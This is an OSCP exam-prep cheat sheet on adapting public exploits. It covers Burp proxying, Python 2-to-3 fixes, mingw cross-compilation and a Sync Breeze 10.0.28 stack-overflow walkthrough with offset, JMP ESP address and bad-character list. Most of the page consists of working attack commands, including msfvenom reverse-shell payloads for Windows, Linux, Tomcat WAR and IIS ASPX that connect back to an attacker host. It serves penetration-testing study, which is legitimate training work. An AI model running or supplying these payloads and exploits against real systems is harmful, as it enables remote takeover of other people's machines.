Fixing Exploits

Adapt broken public exploits — Burp proxying, Python 2→3, placeholders, cross-compiling, msfvenom shellcode.

#exploit#cross-compile#mingw#python#shellcode

source · airouboss/oscp-prep-notes-2026 · exploitation/fixing-exploits.md ↗

Fixing Exploits

When a downloaded exploit "doesn't work," don't ditch it — most failures are a wrong path, a missing auth cookie, a Python 2/3 mismatch, or a bad architecture. Work this structured order before moving on.

Step 1 — Proxy through Burp to see what it actually sends

🐺 howlsec@kalipython

01# Add to a Python exploit:
02proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
03requests.post(url, data=data, proxies=proxies, verify=False)
04# Burp Proxy -> HTTP history -> compare the real request vs what the app expects

Step 2 — Common Python 2 → 3 fixes

🐺 howlsec@kalipython

01# print
02print "hello"          # Py2
03print("hello")         # Py3
04 
05# urllib
06import urllib                            # Py2
07import urllib.request, urllib.parse      # Py3
08urllib.quote(s)                          # Py2
09urllib.parse.quote(s)                    # Py3
10 
11# byte payloads must be bytes literals in Py3
12s = "\x90\x90"         # Py2 (str == bytes)
13s = b"\x90\x90"        # Py3
14 
15# TypeError: can only concatenate str (not "bytes") to str
16payload = b"A"*100 + struct.pack("<I", 0xdeadbeef)

Step 3 — Fix hardcoded IP/port placeholders

🐺 howlsec@kalibash

$grep -n "192.168\|10.10\|127.0\|LHOST\|LPORT\|<ip>" exploit.py
$sed -i 's/192.168.1.1/<kali-ip>/g' exploit.py

Step 4 — Cross-compile C exploits for the right arch

🐺 howlsec@kalibash

$# 32-bit Windows EXE
$i686-w64-mingw32-gcc exploit.c -o exploit32.exe -lws2_32
$# 64-bit Windows EXE
$x86_64-w64-mingw32-gcc exploit.c -o exploit64.exe -lws2_32
$# Static link to avoid missing-DLL errors on target
$x86_64-w64-mingw32-gcc exploit.c -o exploit64.exe -lws2_32 -static
$# Run a Windows binary on Kali (if no network dependency)
$sudo wine exploit.exe

Step 5 — msfvenom shellcode for embedding

🐺 howlsec@kalibash

$# Windows x64 reverse shell as a C array (embed in a C exploit)
$msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> EXITFUNC=thread -f c -b "\x00\x0a\x0d"
$ 
$# Windows x86 with shikata encoder (BOF exploits)
$msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d"
$ 
$# Linux ELF
$msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=443 -f elf -o shell.elf && chmod +x shell.elf
$ 
$# WAR (Tomcat)
$msfvenom -p java/shell_reverse_tcp LHOST=<ip> LPORT=443 -f war -o shell.war
$ 
$# ASPX (IIS)
$msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=443 -f aspx -o shell.aspx

Worked example — Sync Breeze Enterprise 10.0.28

A classic SEH/stack overflow: overwrite EIP at the offset with a JMP ESP, pad with NOPs, append shellcode.

🐺 howlsec@kalitext

01offset    = "A" * 780
02JMP_ESP   = "\x83\x0c\x09\x10"     # points at 0x10090c83
03shellcode = "\x90"*16 + msf_shellcode
04exploit   = offset + JMP_ESP + shellcode
05# At offset 780 we overwrite EIP with a JMP ESP, prepend 16 NOPs before
06# the shellcode, and send the whole buffer in the HTTP POST body.

Cross-compile the public PoC and generate a matching payload:

🐺 howlsec@kalishell

$searchsploit -m 42341
$sudo apt install mingw-w64
$i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe
$# Missing WinSock symbols? link ws2_32:
$i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
$ 
$msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.4 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
$sudo wine syncbreeze_exploit.exe